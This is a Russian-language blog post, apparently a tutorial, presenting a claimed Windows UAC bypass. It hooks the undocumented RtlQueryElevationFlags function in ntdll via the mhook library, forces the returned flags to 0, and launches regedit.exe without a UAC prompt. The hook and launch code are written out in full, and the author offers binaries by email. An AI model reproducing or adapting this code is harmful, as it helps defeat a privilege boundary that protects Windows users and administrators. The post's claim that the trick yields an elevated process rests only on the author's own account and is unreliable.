Помните, в Windows XP не было UAC? Code signed сертификатов можно было не покупать, права были админские у администратора, и таких страшных сообщений не наблюдалось:

image

В сети можно нагуглить много информации на тему «Bypass UAC». Попробуем проверить теорию с перехватом функции RtlQueryElevationFlags[UnDoc'd]. Теория заключается в замене на 0 в памяти по адресу pFlags (DWORD) после отработки тела функции. Для этого создадим и запустим программу с пользовательскими правами, перехватим указанную функцию, запустим процесс regedit.exe (которому требуются права администратора), при вызове данной функции будем записывать 0 по адресу pFlags, и в результате у нас должен запуститься редактор реестра без уведомления UAC.

Приступим. Настройки UAC в Windows выставляем максимальные. Создаем solution, создаем новый проект Application1, тип проекта Win32 console application. Проверяем значение свойства проекта «UAC Execution Level», должно быть «asInvoker». Создаем платформу x64 в свойствах Configuration Manager. Компилируем.

Для перехвата используем mhook. Загружаем, добавляем в проект подкаталоги disasm-lib, mhook-lib и соответствующие файлы. Получилось так (должно компилироваться без ошибок):

#include "stdafx.h"
#include <windows.h>
#include "..\mhook-lib\mhook.h"

int _tmain(int argc, _TCHAR* argv[])
{
	return 0;
}


Пишем функцию перехватчик:
NTSTATUS NTAPI TimedRtlQueryElevationFlags(DWORD* pFlag)
{
	NTSTATUS ret = CurRtlQueryElevationFlags(pFlag);
	*pFlag = 0;
	return ret;
}


Устанавливаем перехват:

CurRtlQueryElevationFlags = (NTSTATUS (NTAPI * )(DWORD* ))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlQueryElevationFlags");
if (Mhook_SetHook((PVOID*)&CurRtlQueryElevationFlags, TimedRtlQueryElevationFlags))
	MessageBeep(MB_OK);


Запускаем regedit.exe:
if ((INT)ShellExecuteW(NULL, L"open", L"regedit.exe", NULL, NULL, SW_SHOWNORMAL) > 32)
{
	printf("Success\n");
	return 0;
}

И получаем запуск редактора реестра без уведомления UAC:

image

Бинарники и исходники можно получить в ответном сообщении на email, указанный в контактах.

Спасибо за внимание.